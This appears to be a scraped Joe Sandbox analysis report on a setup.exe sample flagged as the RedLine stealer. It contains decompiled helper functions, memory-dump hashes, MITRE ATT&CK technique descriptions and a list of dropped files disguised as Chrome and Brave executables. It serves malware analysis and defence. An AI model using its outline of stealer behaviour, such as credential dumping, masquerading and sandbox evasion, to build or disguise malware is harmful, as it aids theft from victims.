free.MSVCRT ref: 00007FF69F80F0CD

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ccc944b36c3ae1429ee3a79869be49935982731d5f2a199b4789e67ba8bb8f3a
Instruction ID: 12a8cb6d6f3f543c644d9bad760b09dd3bf425b76261c808118ed83277633487
Opcode Fuzzy Hash: ccc944b36c3ae1429ee3a79869be49935982731d5f2a199b4789e67ba8bb8f3a
Instruction Fuzzy Hash: A9410126E1EA46C5FFB59F11E9503B823B0FF54B85F8E85B5C90D862A1DF6CE885D200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F819550 Relevance: 5.1, APIs: 4, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F819550(intOrPtr* __rcx) {
				intOrPtr* _t6;

				if (__rcx == 0) goto 0x9f8195f0;
				_t6 =  *((intOrPtr*)(__rcx));
				if (_t6 == 0) goto 0x9f8195f0;
				if (_t6 == 0xffffffff) goto 0x9f819660;
				if ( *_t6 == 0xc0bab1fd) goto 0x9f819590;
				return 0x16;
			}

0x7ff69f81955c
0x7ff69f819562
0x7ff69f819568
0x7ff69f819572
0x7ff69f819583
0x7ff69f81958e

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF69F819597
LeaveCriticalSection.KERNEL32 ref: 00007FF69F8195C1

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 966df289b8b8c66977ad1a09e719be2d6dd09e40930df4ea73119a1ba05daa92
Instruction ID: 0f185a629115aaa78f655445927b6217eb9db1382cccea7479375b566e3bc7c1
Opcode Fuzzy Hash: 966df289b8b8c66977ad1a09e719be2d6dd09e40930df4ea73119a1ba05daa92
Instruction Fuzzy Hash: 31316072B086428AEBA4CF35984466A33A4FB44B6CF594676CD3A8A384DF3CD885D750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F819880 Relevance: 5.1, APIs: 4, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00007FF67FF69F819880(intOrPtr* __rcx, void* __rdx) {
				intOrPtr _t12;
				intOrPtr _t14;
				intOrPtr _t19;
				void* _t27;
				intOrPtr* _t28;

				_t19 =  *__rcx;
				_t28 = __rcx;
				EnterCriticalSection(??);
				_t14 =  *((intOrPtr*)(_t19 + 0xc));
				if (_t14 == 0) goto 0x9f819900;
				 *((intOrPtr*)(_t19 + 0xc)) = _t27 - 1;
				LeaveCriticalSection(??);
				if (_t14 != 1) goto 0x9f8198da;
				if (E00007FF67FF69F818880(1,  *((intOrPtr*)(_t19 + 0xa8)), _t19 + 0x70, _t19 + 0x98) != 0) goto 0x9f8198e7;
				_t12 = E00007FF67FF69F8104E0( *((intOrPtr*)(_t28 + 8)));
				if (_t12 == 0) goto 0x9f8198ed;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 0x10)))) = _t12;
				return _t12;
			}

0x7ff69f81988c
0x7ff69f819893
0x7ff69f819899
0x7ff69f81989f
0x7ff69f8198a4
0x7ff69f8198ac
0x7ff69f8198af
0x7ff69f8198b8
0x7ff69f8198d8
0x7ff69f8198de
0x7ff69f8198e5
0x7ff69f8198eb
0x7ff69f8198f9

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF69F819899
LeaveCriticalSection.KERNEL32 ref: 00007FF69F8198AF

Part of subcall function 00007FF69F818880: EnterCriticalSection.KERNEL32 ref: 00007FF69F818898
Part of subcall function 00007FF69F818880: ReleaseSemaphore.KERNEL32 ref: 00007FF69F8188C6
Part of subcall function 00007FF69F818880: LeaveCriticalSection.KERNEL32 ref: 00007FF69F8188D3

LeaveCriticalSection.KERNEL32 ref: 00007FF69F819913

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$ReleaseSemaphore
String ID:
API String ID: 3630377130-0
Opcode ID: a6a694f03dcd84c9aafc1569ff64daada8cc26fed13ff27649296c944c028d04
Instruction ID: 8b722bf45bf6f4b1fe0f8419a03f1bd3f2b52284e360aeea77f83b15e6b3dd0c
Opcode Fuzzy Hash: a6a694f03dcd84c9aafc1569ff64daada8cc26fed13ff27649296c944c028d04
Instruction Fuzzy Hash: 5D318132B0460296E7A09F36D9146A933B0FB85BA8F594671DE2DC7385DF3CE486E310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F819410 Relevance: 5.1, APIs: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F819410(intOrPtr* __rcx) {
				intOrPtr* _t6;

				if (__rcx == 0) goto 0x9f8194a8;
				_t6 =  *((intOrPtr*)(__rcx));
				if (_t6 == 0) goto 0x9f8194a8;
				if (_t6 == 0xffffffff) goto 0x9f819510;
				if ( *_t6 == 0xc0bab1fd) goto 0x9f819450;
				return 0x16;
			}

0x7ff69f81941a
0x7ff69f819420
0x7ff69f819426
0x7ff69f819430
0x7ff69f819441
0x7ff69f81944a

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF69F819457
LeaveCriticalSection.KERNEL32 ref: 00007FF69F81947E

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 0820afe1cf76078d584808b710687c4abc637131e2d4a4fc2351118ea3fed728
Instruction ID: 0a0ef15bac3fc18e38521220d765918b65df1d77ba327fc472536883463b1888
Opcode Fuzzy Hash: 0820afe1cf76078d584808b710687c4abc637131e2d4a4fc2351118ea3fed728
Instruction Fuzzy Hash: 9D314F72B08206CAEBA4CF35D90426933A4FB44B68F598775CE2D8A788EE3CD495D750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F819120 Relevance: 5.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,00007FF69F819749), ref: 00007FF69F819146
LeaveCriticalSection.KERNEL32(?,00007FF69F819749,?,?,?,?,?,?,?,?,?,?,?,00007FF69FAC1400,?), ref: 00007FF69F81916B
EnterCriticalSection.KERNEL32(?,00007FF69F819749,?,?,?,?,?,?,?,?,?,?,?,00007FF69FAC1400,?), ref: 00007FF69F81919C
LeaveCriticalSection.KERNEL32(?,00007FF69F819749,?,?,?,?,?,?,?,?,?,?,?,00007FF69FAC1400,?), ref: 00007FF69F8191A6

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1d3946a3044cc18cb778b92247febb096362daa03944763a571c42cbc9225e9a
Instruction ID: 6defaf712127c41b1ee9b8dc07a4e5d9ab4cf60827809a4648eca50e9109c492
Opcode Fuzzy Hash: 1d3946a3044cc18cb778b92247febb096362daa03944763a571c42cbc9225e9a
Instruction Fuzzy Hash: 0801F222B0864599EA65DB23BD04A2B2760FF88FE9F861571DD1E47350CD3DE482A340

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Operating System Destruction

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

C:\Users\user\AppData\Local\Google\brave.exe

C:\Users\user\AppData\Local\Google\chrome.exe

C:\Users\user\AppData\Local\Google\ofg.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\E552.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_04etki4r.dp5.psm1

Windows Analysis Report
setup.exe

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre